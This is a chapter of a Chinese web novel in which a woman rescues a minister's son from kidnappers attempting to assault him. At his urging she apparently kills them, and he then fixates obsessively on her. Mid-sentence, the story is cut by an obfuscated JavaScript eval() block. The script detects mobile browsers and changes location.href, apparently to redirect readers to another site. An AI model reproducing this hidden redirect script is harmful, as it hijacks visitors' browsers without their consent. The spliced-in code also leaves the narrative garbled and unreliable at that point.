要是刑部尚书的二公子在自己手里丢了的话……
叶五清站在原地,顿觉浑身血液都仿佛凝滞。
这赵樊是搞什么鬼啊,她亲眼看见是她安排来的人将晏长曦掳走的。
思及此,叶五清一愣。
“赵樊……爹的!”
想到一种可能,她低骂一声,扭身立即奔出空屋,向赵樊的地盘而去。
意识到接下来的每一刻,都可能发生她不可挽回更无法承担的意外。
为了节省时间,叶五清尽量抄直线走。有墙就翻,再横穿正闹热的街道,恨不得一口气分三次喘。过压的胸口仿佛爆裂,整个人和来时的状态已截然不同。
叶五清觉得自己此时在旁人看起来,像是一条嗅到仇家味道的疯狗,冲刺着准备撕咬一切。
然脚力毕竟有限,好容易才在一个街口瞄到一匹栓在柱上的黑马,叶五清捂住已经开始有撕裂疼痛的胸口左右望了望,转步朝马走去。
却在视线不经意的一扫间,一辆停在道口树下的马车引起了她的注意。
定睛一看,果然就是截晏长曦的那辆。
心中一咯噔,跑近马车掀开帘子……空的。
想也没想,她立马钻进了那条马车进不去的小道。
保佑啊,保佑那晏小公子千万别出什么事啊……
边心里如此祈祷着,叶五清边视线左右地扫着小道两旁的屋舍,试图看出晏长曦是被关进了哪里。
终于在视线锁定唯一那间看起来格外破旧仿佛多年未有人住的空屋,正想要翻墙进去时。
忽而身后的另一间瓦房里传出一声极短被什么打断了的男子怒声。
好好好……还能骂人,小公子至少还没死!
这一刻叶五清几乎要热泪盈眶,忙脚尖一点就翻进院内,落地不等站稳,便三步并作两步闪过院子将那道关着但未拴的门推开。
“吱呀”一声木门旋转。
当屋内景象映入她眼帘的刹那,一口老血差点被逼喷出来。
包括那个方才在李府内将晏长曦掳来的那个女子,一共五人正控制着晏长曦的手脚狞笑着在扒他衣服!
晏长曦外衫被撕裂,手脚被绑,眼睛也被布条蒙着。那布条早被打湿,满脸的泪水从粘了乱发丝的白皙脸颊上划过,最后顺延而下滴进他才被扯开一片雪白的领口里。
“靠!禽兽!”
这一声吼,那几个这才惊觉有人闯了进来,忙转身过来。
然还有一人沉浸在某种兴奋里,手里扯着晏长曦的头发。
被剥夺了视线的晏长曦紧咬牙关,浑身不知所措地哆嗦着。躺在稻草堆上只能使劲地将自己蜷缩起来,整个人缩成一团,仿佛这样就能少受点未知的折磨。
叶五清直接扑了过去,撞开妄图拦她的四个人,更是一脚将手里还缠着晏长曦头发的人踹开后连忙蹲身下去将晏长曦抱紧怀中。
晏长曦骤然被温热怀抱裹住,出于条件反射般浑身就抖得更厉害了,身体都绷紧,垂头想将自己的脸埋得更深。
“是我!”叶五清立即发出声音,想要告诉对方现在已经安全了:“我来了,别怕,你……”她咽下一口口水,小心地问道:“没事罢?”
她还想说些什么,也没能等到晏长曦的回答,那五个人反应了过来围在了两人的周围垂着眸子视线威胁地盯向叶五清。
而那些人脸上浮现出被坏了好事的烦躁,此时她们并不惧怕叶五清的武力,她们深知叶五清自己身上也一片黑,这事儿归根究底叶五清可是共犯,她们现在只要一吱声,叶五清可就在这小公子面前装不成什么好人了。
现在叶五清若想救这小公子就需要她们的配合遮掩,又或者到了这一地步还不如干脆与她们同流合污爽完再说,讹一笔银钱再将这富贵人家的小公子抹杀,这才是道上的做法。
这样的信息无声在六人眼中交流,叶五清始终没说话,可在五人的注视下,在她怀中终于得到片刻安宁的晏长曦被她掰着从怀中轻轻放回了稻草上。
“……叶……叶五清!?”察觉到这屋内诡异安静到不对劲的晏长曦挣扎着不愿从叶五清怀中脱离出来。
可他手脚被绑,从方才到现在,他的挣扎皆都是那般无力,他嗓音梗涩哀戚:“……救我……救——”
在他的皮肤又触及到扎人的稻草的刹那,他声音立止,那几人□□的声音仿佛胜利般在屋中充斥贯耳。
他害怕极了,他是不是被选择放弃了?他简直不能相信自己正在经历着什么。
可下一刻,那些刺耳的笑声变成受了钝痛的闷哼声。
那几人似乎几次想张嘴说些什么骂些什么,却又总被什么堵住。每每才能叫出一个字,紧接而至的是更猛烈的打斗声起和不断有□□被猛然践踏的恐怖声音。
叶五清把她们都掼到了院外,将其中为首的一个人压在墙上,凑在已经被揍得没了人样的耳边咬牙道:“我他爹的都不敢碰的,你们倒是狗胆子肥!你们想死也别来沾我的边,你这猪脑子想得清白发生了什么事吗?这是你们这几个自己生出的主意是罢?赵樊可不能蠢得如此挂相!”
武力的压制下,别说开口说话了,手脚都在发着颤的软绵绵,要不是被叶五清压着,这人贴着墙都不可能站得稳这么久。
“赶紧滚!”
想着等有时间了再去找赵樊的麻烦。
叶五清一把将人搂翻在地后就忙跑回了瓦房。
门被打开,立即往晏长曦本该在的位置看去,却一眼又不见人。
视线伴随着她方打斗完不平的呼吸平扫屋内,终于在角落堆满杂物接了蛛网的桌下看见不知怎么蛄蛹钻进去了的晏长曦。
这一刻,她这一颗心终于是放了下来。
“是我,”晏长曦受了大惊吓,叶五清将自己的声音放柔,边出着声,边走向他:“没有任何危险了,这屋里就剩你和我了,我现在正在向你走近,我先帮你把绳子都解开。我……现在可以靠近你吗?”
晏长曦缩在里面即使勾着头,头发还是顶着了桌底。
听见叶五清的声音,他朝里的头微微偏了偏,尝试辨听周遭一切的声音来确认自己现在的处境。
他似乎并不知道自己的背部其实都露在桌外边。他那么高,那底下根本藏不住他,但他以为自己是被庇护得很好着的,于是选择谨慎着没动。
叶五清静静看了他一会儿,蹲下了身,充分展示自己对他的耐心,将手递到他仍被反绑在背后的手心里去,又道:“是我喂猪的家仆,听出来了吗?你已经安全了,我带你回——哎?”
手被豁然的死死扣住,叶五清这才发现晏长曦浑身仍还在打着颤。
这样从小被护在氏族之下,捧养在闺阁之中,这恐怕是他这一辈子唯一黑暗时刻。
也不知晏长曦哪来的劲儿,手指骨泛白,指甲仿佛都要陷进叶五清的手背肉中。
这是出自他在极度惊惧之后应急了的身体本能——死死钳制住试图触碰他的一切。
叶五清吃痛长呼出一口气,任由晏长曦握着她的手,“那我先将你手上的绳子解开。”
说着她掏出方才从那些人身上夺来的短匕,边小心避着晏长曦的皮肤将绳索挑断,边说道:“那些人看样子就是官府通缉未捕的流寇。我去那墙下的时候,刚巧看见你被推上一辆马车就追了过来……”
手上的绳子解开,叶五清在去解晏长曦眼上的布条时,停顿了片刻。她先将自己的眼睛狠揉了一通这才让布条从晏长曦的眼上剥离。
在紧缚在自己头上的那道束缚被人轻轻抽走,晏长曦这才终于肯相信自己这是得救了。
就在刚才,他以为自己会死,他以为自己要被玩弄致死!那些人……
晏长曦终于将埋在角落最深处的头缓缓转了过来。
叶五清半蹲在桌外,拦住了瓦屋唯一那道窗所投射进来的月光。
月光下她低着头,眉心轻拢着,唇抿紧,微红眼睛中盈满疼惜地盯着他被紧绑红肿了的脚踝。
手里的短匕被她拿在手中,刀尖都已经轻抵在了绳索上,最后她还是把匕首递给了他。
“脚上的,小公子自己来罢……”
男子的脚不能给妻主之外的女子碰。
晏长曦没接匕首也没接这句话,却是问道:“那些人呢?”
两人的声音都很低,屋内的烛火早在方才的打斗中而熄灭,细白的烟在黑暗中轻轻绕,两人之间充斥着一种诡异的静谧感。
“被我打跑了,放心,她们——”
“你没杀了她们。”晏长曦打断叶五清的话。
透过夜里有限的光,视线锁着叶五清那双火红的眸子,那双眼睛正望着他,眼里透出错愕。
他继续道:“你得杀了她们。”
“可……”叶五清声音顿了顿,说着假话:“我没杀过人。”
“那你就为我杀一次啊!”晏长曦声音骤然拔高,语气里的颤抖透露出他的崩溃,脸上本都已经干涸了的泪水又被眼睛新落出的滚烫泪水覆盖:“你知不知道她们碰了我?她们的手,她们手心的那种温度令我恶心!我要她们死!我要杀死她们!我要你杀了她们!剁碎!”
叶五清两肩一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315325|182967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抖,看着眼前神情破碎,但眼里闪烁着锐利的光的晏长曦,她这才终于发现自己是走上了一条难以收场的路。
“可你看……没事的,我来的时候,你才被拉开了点领子,这没事的,”叶五清试图宽慰晏长曦:“当务之急应该我先带你回府,且她们肯定都已经跑远了,若将你留在这里,我放心不下怎么追得上她们,所以——”
可话都还未说完,拿匕首的那只手就被扑了过来、却因双脚还被束缚而趴在了地上的晏长曦拢在两手心,他仰头凝视着叶五清:“你不是想要去京城吗?你不是想要做捕快吗?……杀了她们,我什么都给你。”
叶五清看着眼圈通红,任由泪水肆无忌惮在他那张好看的脸上竖流,眼里充满了令人恐惧的、沉默的重量的晏长曦。
她张了张嘴,没说出话来。
晏长曦却又一只手攀上她臂膀:“她们一天不死,我一夜不得安眠,就算是翻遍全南嘉国我也会想办法把她们挖出来,她们既做出这样的事就一定得付出那条贱命来抵!可我想要她们能现在!立刻!马上!的消失。”声音顿了片刻,他凝着叶五清的眼:“你能做到对不对?就当是为了我。”
叶五清的脸颊微不可察地抖了抖。
是啊……人是刑部尚书之子,此辱,他不可能咽得下去。
身子下意识后倾,远离了些晏长曦。她突然想起李夷和她说过的那句
(刑部啊……你玩他?你就等着被剥皮做成风筝在天上飘罢……)
叶五清沉默着站起,转了身打开门却又顿了顿走回到晏长曦身边。
“等我会。”
随后匕首在她手里转了个圈,将柄对向晏长曦:“拿着,躲好。”
门被打开又关上。
晏长曦刀尖朝外地对着那道死寂了已经许久的门。
不知道等了有多久,手腕和脚腕被绳索勒出的灼痛感都快要被他习惯。脑子那种极度惊惧之后整个发麻的感觉在从窗口吹进来的清风一吹后,终于缓缓冷静了下来。
他终于尝试站起,小心翼翼到窗前往外看,有许多猜测从他脑中闪过:兴许她已经在回来的路上了、兴许她还在追还在找那几人的踪迹、兴许她已经放弃了,直接回了李府找阿姐来接自己、兴许她其实方才是直接被自己愤恨的狰狞模样吓跑了而已。
不自觉地他摸了摸自己被泪水侵蚀得有些干裂了的脸,心里又在想:反正她那么厉害,输给那些人是不可能的……
一声不知什么的细响突兀地在门外响起,因是深夜,响声格外入耳。
晏长曦精神又立马紧张,竖耳细听,却再没听见响动。
如果是叶五清的话,她该要直接进来。
握紧了她留给他的匕首,晏长曦轻着脚又弯腰要钻进桌底。
可鬼使神差地他又退了出来,扒着门缝往外看。
天上明亮的月,照映在地上如镀一层霜。
叶五清靠坐在门旁的墙上。
她看起来很累,双手垂在两侧,安静仰头看着月亮,抬起一只手,用手背蹭过下颌处不属于她的血珠。
可那手上有着更多的鲜血,她低头摊开双手看,长睫微垂,长睫眨了眨,有风吹动她额前微乱的发丝。
不知她在想什么,只是垂头静看了会,随后将那件染满红血的外衫给直接脱了下来,翻一边,随后拿它揩脸又擦手。
手上的血迹擦不掉她也一直无声地摁着衣服使劲往自己身上皮肤磨。
门被推开,叶五清一怔,动作骤停,慢半拍转头与站着的晏长曦对视。
月皎洁,照得叶五清脸上的斑斑血污如碎落在新雪上的红梅。
她神情静得可怕,唯有额边那或许还温热着的血滴缓缓划过苍白皮肤。让少年本就标致的脸映衬出一种被弄脏后反而更醒目的美。
晏长曦盯着那道血痕,呼吸变得又浅又急,眼睛贪婪地攫住这幅景象。胸腔里那颗东西发出混乱不堪,几乎疼痛的悸动感。
他想用袖口擦掉那些血迹,更想亲手将那些红涂抹得更艳更浓。让这绝无仅有的,因暴力和脆弱而催生的艳丽,只烙在他一个人的眼睛里。
他喉结艰难滚动,咽下的全是疯狂滋长的占有和一种近乎扭曲的、沉沦的痴迷,从此根植于他的骨血,至死方休。
晏长曦忽而发现那已经过去的恐惧不算什么,竟荒唐觉得这经历最后让他和她此时如此对视独处,值了。
“你想要的我都给你。”
他再一次如此说道,却更意味深长。
眼睛死死锁着叶五清的脸,音色压抑着轻柔:“带我去客栈。”